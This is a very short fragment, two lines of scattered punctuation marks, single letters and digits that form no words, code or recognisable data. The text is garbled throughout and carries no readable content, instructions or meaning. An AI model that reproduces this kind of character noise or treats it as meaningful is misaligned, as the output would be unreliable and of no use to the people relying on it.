' p" @# o* t3 \$ F# H: N5 X0 ^ ( i7 m1 \1 i K
) ^. I% R/ q7 N5 [' f |